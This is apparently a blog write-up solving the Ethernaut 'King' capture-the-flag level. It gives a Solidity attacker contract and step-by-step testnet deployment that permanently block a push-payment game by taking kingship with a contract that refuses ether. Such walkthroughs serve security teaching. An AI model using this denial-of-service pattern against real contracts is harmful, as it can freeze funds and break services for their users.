King - Level 09
Tags: 100daystooffload, ethernaut, solidity, ethereum
Published: 2023-09-11 19:59:40

## Problem statement

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, **Get new instance**. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.

```js
await contract.address
```

We also need to see the prize of the current king.

```js
await web3.eth.getStorageAt(contract.address, 1).then(n => web3.utils.hexToNumber(n))
```

Keep the `contract.address` and the `prize` close by.

Open a new tab in your browser (Ctrl+t) and go to [Remix](https://remix.ethereum.org/).

In the file explorer, create a new file and name it **HackTheKing.sol**, and paste this code to the contract.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;


contract HackTheKing {
    event Result(bool success, bytes data);
    address payable king_address;
    uint public war_chest;

    constructor(address payable  _address) payable {
        king_address = _address;
        war_chest = msg.value;
    }
    
    function take_the_crown() public {
        (bool result, bytes memory data) = king_address.call{value: war_chest}("");
        emit Result(result, data);
    }
}
```

Go to the compiler and compile the new contract, **HackTheKing.sol**.

![Compile](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3ub1s69ldkh99r9t3hed.png)

Next, deploy it to the Sepolia network, make sure that you select the correct environment, **Injected Provider - MetaMask**, set the **value** higher than the current prize and give the correct contract address, **_ADDRESS**. When that is in place, click the button **transact** and verify and sign the transaction with your wallet.

![Deploy contract](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7jgio5zhq28c6lpuitwu.png)

Lets take the crown. Still in the `DEPLOY & RUN TRANSACTIONS` view, click on the button **take_the_crown** and sign the transaction.

![take crown](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gj26ndlkyv7vxz7fol5z.png)


When the transaction has been completed jump over to the console window on the ethernaut page and verify that your contract in Remix is the king.

```js
await contract._king()
```

If true, then finish up the challenge by clicking on the button, **Submit instance**, to commit and update the progress on the ethernaut contract.

## Explanation

We need to find a way to make it impossible for the King contract to do a transfer back to the current king.

It is not possible to use an Externally-Owned Account (EOA) in this case since that gives us no tools to stop the contract from transfer back the amount of wei used in the transaction. That leads us to use a contract instead as a player. The mission is only to make sure that the King contract is not the king.

If we recall the challenge, [Force - Level 07](https://dev.to/stefanalfbo/force-level-07-fd0), it taught us that we can create a contract that makes it difficult to send ether to.

By creating a contract that can't receive any ether (unless using the methods from Level 07, which is not likely in this case) we can beat the King contract.

One another approach would have been to create a contract that has a receive function that will always fail, something like this. 

```solidity
  receive() external payable {
    revert("I don't want your ether");
  }
```

Finally the message from level author. The links are included in the resources section below.

![Author message](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zd08x4cismmcbcs7ppbk.png)

## Resources

* [King](https://ethernaut.openzeppelin.com/level/9) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation
* [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html)
* [King of the Ether Postmortem](http://www.kingoftheether.com/postmortem.html)